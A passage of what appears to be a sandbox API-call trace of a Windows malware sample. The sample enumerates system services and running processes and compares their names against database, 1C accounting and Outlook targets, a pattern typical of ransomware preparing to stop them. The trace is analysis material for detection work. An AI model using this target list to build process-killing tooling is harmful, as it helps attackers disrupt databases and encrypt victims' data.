(lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0153.348] lstrlenW (lpString="CscService") returned 10 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0153.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0153.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0153.348] lstrlenW (lpString="DcomLaunch") returned 10 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0153.349] lstrlenW (lpString="Dhcp") returned 4 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0153.349] lstrlenW (lpString="Dnscache") returned 8 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0153.349] lstrlenW (lpString="DPS") returned 3 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0153.349] lstrlenW (lpString="eventlog") returned 8 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0153.349] lstrlenW (lpString="EventSystem") returned 11 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0153.349] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0153.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0153.349] lstrlenW (lpString="gpsvc") returned 5 [0153.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0153.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0153.349] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0153.350] lstrlenW (lpString="iphlpsvc") returned 8 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0153.350] lstrlenW (lpString="LanmanServer") returned 12 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0153.350] lstrlenW (lpString="LanmanWorkstation") returned 17 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0153.350] lstrlenW (lpString="lmhosts") returned 7 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0153.350] lstrlenW (lpString="MMCSS") returned 5 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0153.350] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0153.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0153.350] lstrlenW (lpString="MpsSvc") returned 6 [0153.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0153.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0153.350] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0153.351] lstrlenW (lpString="NlaSvc") returned 6 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0153.351] lstrlenW (lpString="nsi") returned 3 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0153.351] lstrlenW (lpString="PcaSvc") returned 6 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0153.351] lstrlenW (lpString="PlugPlay") returned 8 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0153.351] lstrlenW (lpString="Power") returned 5 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0153.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0153.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0153.351] lstrlenW (lpString="ProfSvc") returned 7 [0153.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0153.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0153.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0153.352] lstrlenW (lpString="RpcEptMapper") returned 12 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0153.352] lstrlenW (lpString="RpcSs") returned 5 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0153.352] lstrlenW (lpString="SamSs") returned 5 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0153.352] lstrlenW (lpString="Schedule") returned 8 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0153.352] lstrlenW (lpString="SENS") returned 4 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0153.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0153.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0153.352] lstrlenW (lpString="ShellHWDetection") returned 16 [0153.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.352] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0153.353] lstrlenW (lpString="Spooler") returned 7 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0153.353] lstrlenW (lpString="SysMain") returned 7 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0153.353] lstrlenW (lpString="Themes") returned 6 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0153.353] lstrlenW (lpString="TrkWks") returned 6 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0153.353] lstrlenW (lpString="UxSms") returned 5 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0153.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0153.353] lstrlenW (lpString="Winmgmt") returned 7 [0153.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0153.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0153.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0153.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0153.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0153.354] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0153.354] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0153.355] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.356] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.356] lstrlenW (lpString="System") returned 6 [0153.356] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0153.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0153.356] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.356] lstrlenW (lpString="smss.exe") returned 8 [0153.356] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0153.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0153.357] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.357] lstrlenW (lpString="csrss.exe") returned 9 [0153.357] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.357] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.357] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0153.357] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.357] lstrlenW (lpString="wininit.exe") returned 11 [0153.357] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0153.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0153.358] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.358] lstrlenW (lpString="csrss.exe") returned 9 [0153.358] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.358] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.358] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0153.358] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.359] lstrlenW (lpString="winlogon.exe") returned 12 [0153.359] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0153.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0153.359] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.359] lstrlenW (lpString="services.exe") returned 12 [0153.359] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0153.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0153.359] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0153.359] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0153.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0153.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0153.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0153.360] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.360] lstrlenW (lpString="lsass.exe") returned 9 [0153.360] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0153.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0153.360] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0153.360] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0153.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0153.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0153.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0153.360] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0153.360] lstrlenW (lpString="lsm.exe") returned 7 [0153.360] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0153.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0153.360] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0153.360] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0153.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0153.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0153.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0153.361] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.361] lstrlenW (lpString="svchost.exe") returned 11 [0153.361] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0153.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0153.361] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0153.361] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0153.361] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0153.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0153.361] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.361] lstrlenW (lpString="svchost.exe") returned 11 [0153.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.362] lstrlenW (lpString="svchost.exe") returned 11 [0153.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.362] lstrlenW (lpString="svchost.exe") returned 11 [0153.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.362] lstrlenW (lpString="svchost.exe") returned 11 [0153.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.363] lstrlenW (lpString="audiodg.exe") returned 11 [0153.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: 